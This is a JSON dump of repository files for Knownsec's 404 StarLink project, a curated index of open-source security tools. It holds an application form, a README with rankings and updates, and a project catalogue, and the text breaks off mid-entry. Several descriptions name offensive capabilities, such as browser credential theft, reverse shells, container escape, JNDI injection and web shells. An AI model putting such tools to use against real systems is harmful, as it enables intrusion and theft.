[
  {
    "path": ".github/ISSUE_TEMPLATE/application.yml",
    "content": "name: 项目申请\ndescription: 使用此表单填写项目申请\ntitle: \"[项目申请]: \"\nbody:\n  - type: checkboxes\n    id: requirements\n    attributes:\n      label: 基本要求\n      description: 欢迎申请加入星链计划，请先判断是否符合以下条件\n      options:\n        - label: \"1. 项目完全开源并遵守开源协议\"\n          required: true\n        - label: \"2. 项目提供README等项目描述\"\n          required: true\n        - label: \"3. 项目属于计算机安全范畴\"\n          required: true\n        - label: \"4. 项目具备一定的实用价值\"\n          required: true\n        - label: \"5. 项目不包含恶意功能或源码\"\n          required: true\n        - label: \"6. 项目将会积极维护\"\n          required: true\n  - type: input\n    id: name\n    attributes:\n      label: 项目名称\n    validations:\n      required: true\n  - type: input\n    id: link\n    attributes:\n      label: 项目地址\n    validations:\n      required: true\n  - type: textarea\n    id: description\n    attributes:\n      label: 项目简介\n    validations:\n      required: true\n  - type: textarea\n    id: highlight\n    attributes:\n      label: 项目亮点\n    validations:\n      required: true\n  - type: markdown\n    attributes:\n      value: |\n        感谢申请加入 404 星链计划，我们将于 7 个工作日审核并回复，如有疑问可联系运营 WeChat：ks404team\n"
  },
  {
    "path": "README.md",
    "content": "## 404星链计划 / 404 StarLink Project\n\n<div align=\"center\">\n<img src=\"Images/logo.png\" width=\"300\">\n</div>\n\n「404星链计划」是知道创宇 404 实验室于 2020 年 8 月开始的计划，主要目的是改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题，促进安全开源社区的发展；通过这种方式将不同安全领域研究人员与开源项目链接起来。\n\n星链计划将不断地收集优秀的安全开源项目，对收录的项目提供技术支持，持续跟踪和展示项目的更新和动态，并建立了星链计划社区，社区用户可以通过星链展示板块探索自己感兴趣的项目，同时还可以在社区内快速为开源作者反馈问题。以此方式帮助开源项目成长，促进安全社区发展。\n\n![Stargazers over time](https://starchart.cc/knownsec/404StarLink.svg)\n\n## 展示/Exhibition\n<!--auto_index_exhibition_begin_5ffbdd274903479a5d958dd90847b2de-->\n\n**1.项目动态**\n\n| 时间 | 项目名称 | 项目动态 |\n|----|-----------|--------------------------|\n|2026-03-11|[**AntiDebug_Breaker**](detail/AntiDebug_Breaker.md)|AntiDebug_Breaker加入星链计划|\n|2026-02-18|[**AntiDebug_Breaker**](detail/AntiDebug_Breaker.md)|更新 [v3.0.4](detail/AntiDebug_Breaker.md#最近更新) 版本|\n|2026-03-10|[**CyberStrikeAI**](detail/CyberStrikeAI.md)|更新 [v1.3.23](detail/CyberStrikeAI.md#最近更新) 版本|\n|2026-03-10|[**g3proxy**](detail/g3proxy.md)|更新 [v1.12.3](detail/g3proxy.md#最近更新) 版本|\n|2026-03-04|[**HaE**](detail/HaE.md)|更新 [v5.1.1](detail/HaE.md#最近更新) 版本|\n|2026-02-25|[**vArmor**](detail/vArmor.md)|更新 [v0.9.2](detail/vArmor.md#最近更新) 版本|\n|2026-02-25|[**Typhon**](detail/Typhon.md)|更新 [v1.0.13](detail/Typhon.md#最近更新) 版本|\n|2026-02-25|[**afrog**](detail/afrog.md)|更新 [v3.3.9](detail/afrog.md#最近更新) 版本|\n|2026-02-23|[**CDK**](detail/CDK.md)|更新 [v1.5.6](detail/CDK.md#最近更新) 版本|\n|2026-02-18|[**AiPy**](detail/AiPy.md)|更新 [v0.5.0](detail/AiPy.md#最近更新) 版本|\n\n**2.StarRank**\n\n| 序号 | 项目名称 | 项目简介 | Star |\n|----|-----------|--------------------------|----|\n|1|[**HackBrowserData**](detail/HackBrowserData.md)|hack-browser-data 是一个解密浏览器数据（密码/历史记录/Cookies/书签）的导出工具，支持全平台主流浏览器的数据导出窃取。|13587|\n|2|[**fscan**](detail/fscan.md)|一款内网综合扫描工具，方便一键自动化、全方位漏扫扫描。支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。|13461|\n|3|[**dperf**](detail/dperf.md)|dperf 是一个100Gbps的网络性能与压力测试软件。国内多个知名安全厂商用dperf测试其防火墙。知名开源四层负载均衡DPVS在用dperf做性能测试，发布性能测试报告。|5560|\n|4|[**CDK**](detail/CDK.md)|CDK是一款为容器环境定制的渗透测试工具，在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的逃逸、横向移动、持久化利用方式，插件化管理。|4581|\n|5|[**antSword**](detail/antSword.md)|中国蚁剑是一款开源的跨平台网站管理工具。|4488|\n|6|[**ENScanGo**](detail/ENScanGo.md)|一款基于各大企业信息API的工具，解决在遇到的各种针对国内企业信息收集难题。一键收集控股公司ICP备案、APP、小程序、微信公众号等信息聚合导出。|4240|\n|7|[**afrog**](detail/afrog.md)|afrog 是一款性能卓越、快速稳定、PoC 可定制的漏洞扫描工具，PoC 包含 CVE、CNVD、默认口令、信息泄露、指纹识别、未授权访问、任意文件读取、命令执行等多种漏洞类型，帮助网络安全从业者快速验证并及时修复漏洞。|4194|\n|8|[**HaE**](detail/HaE.md)|HaE是一款可以快速挖掘目标指纹和关键信息的Burp插件。|4102|\n|9|[**AiPy**](detail/AiPy.md)|AiPy是知道创宇站在AI技术变革前沿，基于LLM（大语言模型）与高级编程语言Python 完美融合，打造的一款突破性产品。AiPy以创新的技术范式和更低的成本，重构AI生产力边界，让大模型集思考能力和主动执行任务于一体。|3921|\n|10|[**pocsuite3**](detail/pocsuite3.md)|pocsuite3是由Knownsec 404团队开发的开源远程漏洞测试和概念验证开发框架。它带有强大的概念验证引擎，以及针对最终渗透测试人员和安全研究人员的许多强大功能。|3821|\n\n**3.项目更新**\n\n| 时间 | 项目迭代版本 |\n|----|-----------|\n|第11周|[**AntiDebug_Breaker**](detail/AntiDebug_Breaker.md) 更新 [v3.0.4](detail/AntiDebug_Breaker.md#最近更新) / [**CyberStrikeAI**](detail/CyberStrikeAI.md) 更新 [v1.3.23](detail/CyberStrikeAI.md#最近更新) / [**g3proxy**](detail/g3proxy.md) 更新 [v1.12.3](detail/g3proxy.md#最近更新)|\n|第10周|[**HaE**](detail/HaE.md) 更新 [v5.1.1](detail/HaE.md#最近更新)|\n|第9周|[**vArmor**](detail/vArmor.md) 更新 [v0.9.2](detail/vArmor.md#最近更新) / [**Typhon**](detail/Typhon.md) 更新 [v1.0.13](detail/Typhon.md#最近更新) / [**afrog**](detail/afrog.md) 更新 [v3.3.9](detail/afrog.md#最近更新) / [**CDK**](detail/CDK.md) 更新 [v1.5.6](detail/CDK.md#最近更新)|\n|第8周|[**AiPy**](detail/AiPy.md) 更新 [v0.5.0](detail/AiPy.md#最近更新)|\n|第5周|[**agentic-soc-platform.json**](detail/agentic-soc-platform.md) 更新 [v0.2.0](detail/agentic-soc-platform.md#最近更新)|\n|第4周|[**DNSlog-GO**](detail/DNSlog-GO.md) 更新 [v2.3.1](detail/DNSlog-GO.md#最近更新)|\n|第1周|[**Tai-e**](detail/Tai-e.md) 更新 [v0.5.1](detail/Tai-e.md#最近更新) / [**JYso**](detail/JYso.md) 更新 [v1.3.6.1](detail/JYso.md#最近更新) / [**DNSlog-GO**](detail/DNSlog-GO.md) 更新 [v2.3.0](detail/DNSlog-GO.md#最近更新) / [**afrog**](detail/afrog.md) 更新 [v3.2.8](detail/afrog.md#最近更新)|\n|第52周|[**CyberStrikeAI**](detail/CyberStrikeAI.md) 更新 [v0.0.11](detail/CyberStrikeAI.md#最近更新)|\n|第49周|[**agentic-soc-platform.json**](detail/agentic-soc-platform.md) 更新 [v0.1.0](detail/agentic-soc-platform.md#最近更新)|\n|第48周|[**AiPy**](detail/AiPy.md) 更新 [v0.4.0](detail/AiPy.md#最近更新) / [**qscan**](detail/qscan.md) 更新 [v1.8.1](detail/qscan.md#最近更新) / [**HaE**](detail/HaE.md) 更新 [v4.3.2](detail/HaE.md#最近更新)|\n\n**4.新项目加入**\n\n| 时间 | 项目名称 | 项目简介 |\n|----|-----------|--------------------------|\n|2026-03-11|[**AntiDebug_Breaker**](detail/AntiDebug_Breaker.md)|本插件是基于Hook_JS库所写的Google插件，将致力于辅助前端JavaScript逆向以及渗透测试信息收集。|\n|2025-12-29|[**CyberStrikeAI**](detail/CyberStrikeAI.md)|CyberStrikeAI 是一款 AI 原生安全测试平台，基于 Go 构建，集成了 100+ 安全工具、智能编排引擎与完整的测试生命周期管理能力|\n|2025-12-05|[**agentic-soc-platform.json**](detail/agentic-soc-platform.md)|Agentic SOC Platform 是一个功能强大、灵活且开源的自动化安全运营平台。它集成了 AI Agent 能力与自动化编排，支持主流 SIEM/SOAR 场景，帮助企业高效构建智能化安全运营体系。|\n|2025-12-01|[**Typhon**](detail/Typhon.md)|Typhon 是绕过 pyjail 的一把梭的CTF工具|\n|2025-09-8|[**JNDIMap**](detail/JNDIMap.md)|一个 JNDI 注入利用框架, 支持 RMI、LDAP 和 LDAPS 协议, 包含多种高版本 JDK 绕过方式|\n|2025-07-22|[**WeaponizedVSCode**](detail/WeaponizedVSCode.md)|一个基于VSCode工作区的黑客环境工具。|\n|2025-05-13|[**qscan**](detail/qscan.md)|一个速度极快的内网扫描器，具备端口扫描、协议检测、指纹识别，暴力破解，漏洞探测等功能。支持协议1200+，协议指纹10000+，应用指纹20000+，暴力破解协议10余种。|\n|2025-04-15|[**AiPy**](detail/AiPy.md)|AiPy是知道创宇站在AI技术变革前沿，基于LLM（大语言模型）与高级编程语言Python 完美融合，打造的一款突破性产品。AiPy以创新的技术范式和更低的成本，重构AI生产力边界，让大模型集思考能力和主动执行任务于一体。|\n|2025-04-01|[**g3proxy**](detail/g3proxy.md)|通用正向代理解决方案，同时带有TCP映射、TLS卸载/封装、透明代理、简单反向代理等功能|\n|2024-10-29|[**xtate**](detail/xtate.md)|Xtate是面向互联网规模网络测量的模块化全栈扫描器（框架）。利用自研的应用层无状态扫描模型ZBanner和混合状态轻量级TCP协议栈HLTCP实现异步高速扫描。与已有的无状态端口扫描器只能探测端口是否开放不同，Xtate基于应用层无状态扫描模型，在千兆带宽下能够在6分钟内完成中国大陆地址集中所有80端口的开放性检测和Banner抓取。基于HLTCP用户态协议栈实现和TLS支持，Xtate也能够在有状态模式下执行多轮数据交互的高速扫描，包括TLS上层服务Banner抓取。Xtate框架提供统一接口以自定义模块实现不同的扫描任务，专注于大规模网络的协议层面测量（包括传输层、应用层和TLS上层服务），具有坚实的底层高速异步数据包收发机制，期望为学术和实践领域中大规模网络测量的各种算法和任务提供承载平台。|\n\n**5.[分类:甲方工具](party_a.md)**\n\n| 序号 | 项目名称 | 作者 | 项目简介 | Star |\n|------|----------|------|----------|------|\n|1|[**Elkeid**](detail/Elkeid.md)|bytedance|Elkeid是一个云原生的基于主机的安全(入侵检测与风险识别)解决方案。Elkeid 包含两大部分：Elkeid Agent与Elkeid Driver作为数据采集层，它在Linux系统的内核和用户空间上均可使用，从而提供了具有更好性能的且更丰富的数据。 Elkeid Server可以提供百万级Agent的接入能力，采集Agent数据，支持控制与策略下发。包含实时、离线计算模块，对采集上来的数据进行分析和检测。又有自带的服务发现和管理系统，方便对整个后台管理和操作。|2596|\n|2|[**linglong**](detail/linglong.md)|awake1t|linglong是一款甲方资产巡航扫描系统。系统定位是发现资产，进行端口爆破。帮助企业更快发现弱口令问题。主要功能包括: 资产探测、端口爆破、定时任务、管理后台识别、报表展示。|1830|\n|3|[**Tai-e**](detail/Tai-e.md)|pascal_lab|Tai-e（太阿）是一个通用型Java程序分析框架，包含了开发程序分析技术所需的各类基础设施，并提供了可配置性高、功能强大的污点分析系统，用于检测各类隐私泄露、注入攻击等安全漏洞。|1768|\n|4|[**murphysec**](detail/murphysec.md)|murphysecurity|墨菲安全专注于软件供应链安全，murphysec 是墨菲安全的 CLI 工具，用于在命令行检测指定目录代码的依赖安全问题，也可以基于 CLI 工具实现在 CI 流程的检测。|1753|\n|5|[**appshark**](detail/appshark.md)|bytedance|Appshark 是一个针对安卓的静态分析工具，它的设计目标是针对超大型App的分析，Appshark支持基于json的自定义扫描规则,发现自己关心的安全漏洞以及隐私合规问题，支持灵活配置，可以在准确率以及扫描时间空间之间寻求平衡，支持自定义扩展规则，根据自己的业务需要，进行定制分析|1721|\n|6|[**camille**](detail/camille.md)|zhengjim|现如今APP隐私合规十分重要，各监管部门不断开展APP专项治理工作及核查通报，不合规的APP通知整改或直接下架。camille可以hook住Android敏感接口，并识别是否为第三方SDK调用。根据隐私合规的场景，辅助检查是否符合隐私合规标准。|1656|\n|7|[**veinmind-tools**](detail/veinmind-tools.md)|长亭科技|veinmind-tools 是基于 veinmind-sdk 打造的一个容器安全工具集，目前已支持镜像 恶意文件/后门/敏感信息/弱口令 的扫描，更多功能正在逐步开发中。|1645|\n|8|[**OpenStar**](detail/OpenStar.md)|starjun|OpenStar 是一个基于 OpenResty 的高性能 Web 应用防火墙，支持复杂规则编写。提供了常规的 HTTP 字段规则配置，还提供了 IP 黑白名单、访问频次等配置，对于 CC 防护更提供的特定的规则算法，并且支持搭建集群进行防护。|1282|\n|9|[**AppScan**](detail/AppScan.md)|TongchengOpenSource|安全隐私卫士（AppScan）一款免费的企业级自动化App隐私合规检测工具|1089|\n|10|[**GShark**](detail/gshark.md)|madneal|一款开源敏感信息检测系统，可以监测包括 GitHub, GitLab(支持私有部署版本), Postman, searchcode 多个平台的敏感信息监测。|1014|\n\n**6.[分类:信息收集](reconnaissance.md)**\n\n| 序号 | 项目名称 | 作者 | 项目简介 | Star |\n|------|----------|------|----------|------|\n|1|[**HaE**](detail/HaE.md)|gh0stkey|HaE是一款可以快速挖掘目标指纹和关键信息的Burp插件。|4102|\n|2|[**AppInfoScanner**](detail/AppInfoScanner.md)|kelvinBen|一款适用于以HW行动/红队/渗透测试团队为场景的移动端(Android、iOS、WEB、H5、静态网站)信息收集扫描工具，可以帮助渗透测试工程师、攻击队成员、红队成员快速收集到移动端或者静态WEB站点中关键的资产信息并提供基本的信息输出,如：Title、Domain、CDN、指纹信息、状态信息等。|3512|\n|3|[**ksubdomain**](detail/ksubdomain.md)|w8ay|ksubdomain是一款基于无状态子域名爆破工具，支持在Windows/Linux/Mac上使用，它会很快的进行DNS爆破，在Mac和Windows上理论最大发包速度在30w/s,linux上为160w/s的速度。|1179|\n|4|[**qscan**](detail/qscan.md)|qi4L|一个速度极快的内网扫描器，具备端口扫描、协议检测、指纹识别，暴力破解，漏洞探测等功能。支持协议1200+，协议指纹10000+，应用指纹20000+，暴力破解协议10余种。|1150|\n|5|[**Kunyu**](detail/Kunyu.md)|风起|Kunyu(坤舆)，是一款基于ZoomEye API开发的信息收集工具，旨在让企业资产收集更高效，使更多安全相关从业者了解、使用网络空间测绘技术。|1058|\n|6|[**Glass**](detail/Glass.md)|s7ckTeam|Glass是一款针对资产列表的快速指纹识别工具，通过调用Fofa/ZoomEye/Shodan/360等api接口快速查询资产信息并识别重点资产的指纹，也可针对IP/IP段或资产列表进行快速的指纹识别。|1007|\n|7|[**scaninfo**](detail/scaninfo.md)|华东360安服团队|scaninfo 是一款开源、轻量、快速、跨平台的红队内外网打点扫描器。比较同类工具，其能够在 nmap 的扫描速度和 masscan 的准确度之间寻找一个较好的平衡点，能够快速进行端口扫描和服务识别，内置指纹识别用于 web 探测，可以用报告的方式整理扫描结果。|875|\n|8|[**ZoomEye-Python**](detail/ZoomEye-Python.md)|Knownsec404|ZoomEye-python 是一款基于 ZoomEye API 开发的 Python 库，提供了 ZoomEye 命令行模式，同时也可以作为 SDK 集成到其他工具中。该库可以让技术人员更便捷地搜索、筛选、导出 ZoomEye 的数据|550|\n|9|[**ct**](detail/ct.md)|rungobier@Knownsec404|ct 是一款使用 rust 语言进行开发，并且基于ZoomEye域名查询以及利用域名字典进行子域名爆破的工具，同时在最终爆破完成后可使用脚本，将相应的的.gv 文件转化成为相应的 .png 文件进行可视化展示|101|\n|10|[**xtate**](detail/xtate.md)|sharkocha|Xtate是面向互联网规模网络测量的模块化全栈扫描器（框架）。利用自研的应用层无状态扫描模型ZBanner和混合状态轻量级TCP协议栈HLTCP实现异步高速扫描。与已有的无状态端口扫描器只能探测端口是否开放不同，Xtate基于应用层无状态扫描模型，在千兆带宽下能够在6分钟内完成中国大陆地址集中所有80端口的开放性检测和Banner抓取。基于HLTCP用户态协议栈实现和TLS支持，Xtate也能够在有状态模式下执行多轮数据交互的高速扫描，包括TLS上层服务Banner抓取。Xtate框架提供统一接口以自定义模块实现不同的扫描任务，专注于大规模网络的协议层面测量（包括传输层、应用层和TLS上层服务），具有坚实的底层高速异步数据包收发机制，期望为学术和实践领域中大规模网络测量的各种算法和任务提供承载平台。|85|\n\n**7.全部分类**\n\n* [甲方工具](party_a.md)\n* [信息收集](reconnaissance.md)\n* [漏洞探测](vulnerability_assessment.md)\n* [攻击与利用](penetration_test.md)\n* [信息分析](information_analysis.md)\n* [内网工具](intranet_tools.md)\n* [其他](others.md)\n\n8.[入选2021Kcon黑客大会兵器谱](column/2021KCon_exhibition_with_starlink.md)  \n9.[入选2022Kcon黑客大会兵器谱](column/2022KCon_exhibition_with_starlink.md)  \n10.[入选2023Kcon黑客大会兵器谱](column/2023KCon_exhibition_with_starlink.md)  \n11.[入选2024Kcon黑客大会兵器谱](column/2024KCon_exhibition_with_starlink.md)  \n12.[星链计划全部项目](allprojects.md)  \n13.[正在申请加入的项目](https://github.com/knownsec/404StarLink/issues)  \n14.[星链计划视频演示栏目-星际奇兵](column/starlink_project_video.md)  \n\n<!--auto_index_exhibition_end_bb3ccc282a0d1924df21437a263718c3-->\n\n\n## 加入/Join\n开源作者可以通过提交 issue 申请加入星链计划，星链计划除了提供技术支持，还准备了各种里程碑奖励。\n\n<div align=\"center\">\n<img src=\"Images/milestone_horizontal.jpg\" width=100%>\n</div>\n\n[奖品实物一览](Images/milestone_prizes.png)\n\n**1.提交申请**  \n开源作者可以通过 <https://github.com/knownsec/404StarLink/issues> 提交申请，申请规范如下：\n\n```\n### 项目名称\n\t\n### 项目链接\n\n### 项目简介\n\n### 项目特点、亮点\n```\n\n提交申请后可以通过文末的联系方式添加星链运营微信账号，备注为「项目名称+星链计划」，运营小姐姐将协助你完成项目审核，以及进行后续的各类沟通。\n\n**2.项目规范审核**  \n申请提交后，星链运营对项目的基础规范进行审核，基础规范包括：\n\n```\n1. README.md (包括但不限于：项目简介、运行环境搭建、运行示例等)\n2. CHANGELOG (记录项目更新)\n3. LICENCE (为避免开源纠纷，需要提前选择开源协议)\n4. 编译型项目需提供 RELEASE 版本\n5. 项目需要和安全相关\n6. 必须是完整的开源项目(不能是二进制文件，或部分开源)\n```\n\n**3.技术审核**  \n项目通过基础规范审核后，将由星链评审组对项目进行技术审核，包括但不限于：\n\n```\n1. 项目属于计算机安全范畴\n2. 项目完整开源\n3. 项目源码内不包含恶意代码\n4. 项目具有一定的实用价值\n5. 项目可以正常部署和使用\n6. etc\n```\n\n**4.发放邀请函**  \n项目通过基础规范审核和技术审核后，由星链计划发送官方邀请函邮件到开源作者，邀请其正式加入星链计划。随后星链计划将持续跟踪项目动态，并按里程碑为开源作者发放礼品。\n\n>开源作者收到星链计划邀请函后，希望开源作者可以添加 [星链计划 Banner](./banner.md) 到项目 README 的末尾，这样可以极大增加星链计划的影响力。\n\n\n## 交流/Community\n加入星链计划交流群，获取星链计划资讯，与开源作者互动起来吧。微信群请先添加星链运营个人账号，并备注「星链计划」，然后会把大家拉到星链计划交流群中。\n<div align=\"center\">\n<img src=\"Images/operation_wechat.jpg\" width=300px>\n</div>\n\n下方表单用于收集用户在使用404星链计划所属工具的过程中遇到的问题，我们将联合相关工具开发者进行解答，并定期将答疑内容整理发布，以供参考交流。\n<div align=\"center\">\n<img src=\"Images/question-and-answer.png\" width=300px>\n</div>\n"
  },
  {
    "path": "allprojects.md",
    "content": "## 全部项目 / All_Projects\n\n* [甲方工具/party_a](#甲方工具party_a)\n    * [dperf](#dperf)\n    * [Elkeid](#elkeid)\n    * [linglong](#linglong)\n    * [Tai-e](#tai-e)\n    * [murphysec](#murphysec)\n    * [appshark](#appshark)\n    * [camille](#camille)\n    * [veinmind-tools](#veinmind-tools)\n    * [OpenStar](#openstar)\n    * [AppScan](#appscan)\n    * [gshark](#gshark)\n    * [Juggler](#juggler)\n    * [vArmor](#varmor)\n    * [Hades](#hades)\n\n* [信息收集/reconnaissance](#信息收集reconnaissance)\n    * [ENScanGo](#enscango)\n    * [HaE](#hae)\n    * [AppInfoScanner](#appinfoscanner)\n    * [ksubdomain](#ksubdomain)\n    * [qscan](#qscan)\n    * [Kunyu](#kunyu)\n    * [Glass](#glass)\n    * [scaninfo](#scaninfo)\n    * [ZoomEye-Python](#zoomeye-python)\n    * [ct](#ct)\n    * [xtate](#xtate)\n    * [ZoomEye-Tools](#zoomeye-tools)\n    * [ZoomEye-go](#zoomeye-go)\n    * [vultrap](#vultrap)\n\n* [漏洞探测/vulnerability_assessment](#漏洞探测vulnerability_assessment)\n    * [afrog](#afrog)\n    * [Kunpeng](#kunpeng)\n    * [Pocassist](#pocassist)\n    * [myscan](#myscan)\n    * [LSpider](#lspider)\n\n* [攻击与利用/penetration_test](#攻击与利用penetration_test)\n    * [dperf](#dperf)\n    * [CDK](#cdk)\n    * [pocsuite3](#pocsuite3)\n    * [MDUT](#mdut)\n    * [JYso](#jyso)\n    * [BurpCrypto](#burpcrypto)\n    * [WMIHACKER](#wmihacker)\n    * [MySQL-Fake-Server](#mysql-fake-server)\n    * [DNSlog-GO](#dnslog-go)\n    * [Cloud-Bucket-Leak-Detection-Tools](#cloud-bucket-leak-detection-tools)\n    * [ysomap](#ysomap)\n    * [Antenna](#antenna)\n    * [GrabAccess](#grabaccess)\n    * [Redis-Rogue-Server](#redis-rogue-server)\n    * [Cola-Dnslog](#cola-dnslog)\n    * [MysqlT](#mysqlt)\n\n* [信息分析/information_analysis](#信息分析information_analysis)\n    * [HackBrowserData](#hackbrowserdata)\n    * [KunLun-M](#kunlun-m)\n    * [Pillager](#pillager)\n    * [AppScan](#appscan)\n    * [frida-skeleton](#frida-skeleton)\n    * [java-object-searcher](#java-object-searcher)\n    * [js-cookie-monitor-debugger-hook](#js-cookie-monitor-debugger-hook)\n    * [MySQLMonitor](#mysqlmonitor)\n    * [CodeReviewTools](#codereviewtools)\n\n* [内网工具/intranet_tools](#内网工具intranet_tools)\n    * [fscan](#fscan)\n    * [antSword](#antsword)\n    * [Stowaway](#stowaway)\n    * [shellcodeloader](#shellcodeloader)\n    * [ServerScan](#serverscan)\n    * [Platypus](#platypus)\n    * [WMIHACKER](#wmihacker)\n    * [rakshasa](#rakshasa)\n    * [As-Exploits](#as-exploits)\n    * [g3proxy](#g3proxy)\n    * [PortForward](#portforward)\n\n* [其他/others](#其他others)\n    * [AiPy](#aipy)\n    * [CyberStrikeAI](#cyberstrikeai)\n    * [f8x](#f8x)\n    * [BinAbsInspector](#binabsinspector)\n    * [Heimdallr](#heimdallr)\n    * [passive-scan-client](#passive-scan-client)\n    * [AntiDebug_Breaker](#antidebug_breaker)\n    * [agentic-soc-platform](#agentic-soc-platform)\n    * [GrabAccess](#grabaccess)\n    * [JNDIMap](#jndimap)\n    * [Typhon](#typhon)\n    * [wam](#wam)\n    * [WeaponizedVSCode](#weaponizedvscode)\n    * [LBot](#lbot)\n\n----------------------------------------\n\n## 甲方工具/party_a\n### [dperf](detail/dperf.md)\n![Author](https://img.shields.io/badge/Author-Benjamin-orange)\n![Language](https://img.shields.io/badge/Language-C-blue)\n![GitHub stars](https://img.shields.io/github/stars/baidu/dperf.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.8.0-red)\n\n<https://github.com/baidu/dperf>\n\ndperf 是一个100Gbps的网络性能与压力测试软件。国内多个知名安全厂商用dperf测试其防火墙。知名开源四层负载均衡DPVS在用dperf做性能测试，发布性能测试报告。\n\n### [Elkeid](detail/Elkeid.md)\n![Author](https://img.shields.io/badge/Author-bytedance-orange)\n![Language](https://img.shields.io/badge/Language-C/Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/bytedance/Elkeid.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/bytedance/Elkeid>\n\nElkeid是一个云原生的基于主机的安全(入侵检测与风险识别)解决方案。Elkeid 包含两大部分：Elkeid Agent与Elkeid Driver作为数据采集层，它在Linux系统的内核和用户空间上均可使用，从而提供了具有更好性能的且更丰富的数据。 Elkeid Server可以提供百万级Agent的接入能力，采集Agent数据，支持控制与策略下发。包含实时、离线计算模块，对采集上来的数据进行分析和检测。又有自带的服务发现和管理系统，方便对整个后台管理和操作。\n\n### [linglong](detail/linglong.md)\n![Author](https://img.shields.io/badge/Author-awake1t-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/awake1t/linglong.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/awake1t/linglong>\n\nlinglong是一款甲方资产巡航扫描系统。系统定位是发现资产，进行端口爆破。帮助企业更快发现弱口令问题。主要功能包括: 资产探测、端口爆破、定时任务、管理后台识别、报表展示。\n\n### [Tai-e](detail/Tai-e.md)\n![Author](https://img.shields.io/badge/Author-pascal_lab-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/pascal-lab/Tai-e.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.5.1-red)\n\n<https://github.com/pascal-lab/Tai-e>\n\nTai-e（太阿）是一个通用型Java程序分析框架，包含了开发程序分析技术所需的各类基础设施，并提供了可配置性高、功能强大的污点分析系统，用于检测各类隐私泄露、注入攻击等安全漏洞。\n\n### [murphysec](detail/murphysec.md)\n![Author](https://img.shields.io/badge/Author-murphysecurity-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/murphysecurity/murphysec.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.10.0-red)\n\n<https://github.com/murphysecurity/murphysec>\n\n墨菲安全专注于软件供应链安全，murphysec 是墨菲安全的 CLI 工具，用于在命令行检测指定目录代码的依赖安全问题，也可以基于 CLI 工具实现在 CI 流程的检测。\n\n### [appshark](detail/appshark.md)\n![Author](https://img.shields.io/badge/Author-bytedance-orange)\n![Language](https://img.shields.io/badge/Language-Kotlin-blue)\n![GitHub stars](https://img.shields.io/github/stars/bytedance/appshark.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.1.2-red)\n\n<https://github.com/bytedance/appshark>\n\nAppshark 是一个针对安卓的静态分析工具，它的设计目标是针对超大型App的分析，Appshark支持基于json的自定义扫描规则,发现自己关心的安全漏洞以及隐私合规问题，支持灵活配置，可以在准确率以及扫描时间空间之间寻求平衡，支持自定义扩展规则，根据自己的业务需要，进行定制分析\n\n### [camille](detail/camille.md)\n![Author](https://img.shields.io/badge/Author-zhengjim-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/zhengjim/camille.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/zhengjim/camille>\n\n现如今APP隐私合规十分重要，各监管部门不断开展APP专项治理工作及核查通报，不合规的APP通知整改或直接下架。camille可以hook住Android敏感接口，并识别是否为第三方SDK调用。根据隐私合规的场景，辅助检查是否符合隐私合规标准。\n\n### [veinmind-tools](detail/veinmind-tools.md)\n![Author](https://img.shields.io/badge/Author-长亭科技-orange)\n![Language](https://img.shields.io/badge/Language-Golang/Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/chaitin/veinmind-tools.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.1.5-red)\n\n<https://github.com/chaitin/veinmind-tools>\n\nveinmind-tools 是基于 veinmind-sdk 打造的一个容器安全工具集，目前已支持镜像 恶意文件/后门/敏感信息/弱口令 的扫描，更多功能正在逐步开发中。\n\n### [OpenStar](detail/OpenStar.md)\n![Author](https://img.shields.io/badge/Author-starjun-orange)\n![Language](https://img.shields.io/badge/Language-JS/Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/starjun/openstar.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/starjun/openstar>\n\nOpenStar 是一个基于 OpenResty 的高性能 Web 应用防火墙，支持复杂规则编写。提供了常规的 HTTP 字段规则配置，还提供了 IP 黑白名单、访问频次等配置，对于 CC 防护更提供的特定的规则算法，并且支持搭建集群进行防护。\n\n### [AppScan](detail/AppScan.md)\n![Author](https://img.shields.io/badge/Author-TongchengOpenSource-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/TongchengOpenSource/AppScan.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.1.5-red)\n\n<https://github.com/TongchengOpenSource/AppScan>\n\n安全隐私卫士（AppScan）一款免费的企业级自动化App隐私合规检测工具\n\n### [GShark](detail/gshark.md)\n![Author](https://img.shields.io/badge/Author-madneal-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/madneal/gshark.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.6.5-red)\n\n<https://github.com/madneal/gshark>\n\n一款开源敏感信息检测系统，可以监测包括 GitHub, GitLab(支持私有部署版本), Postman, searchcode 多个平台的敏感信息监测。\n\n### [Juggler](detail/Juggler.md)\n![Author](https://img.shields.io/badge/Author-C4o-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub 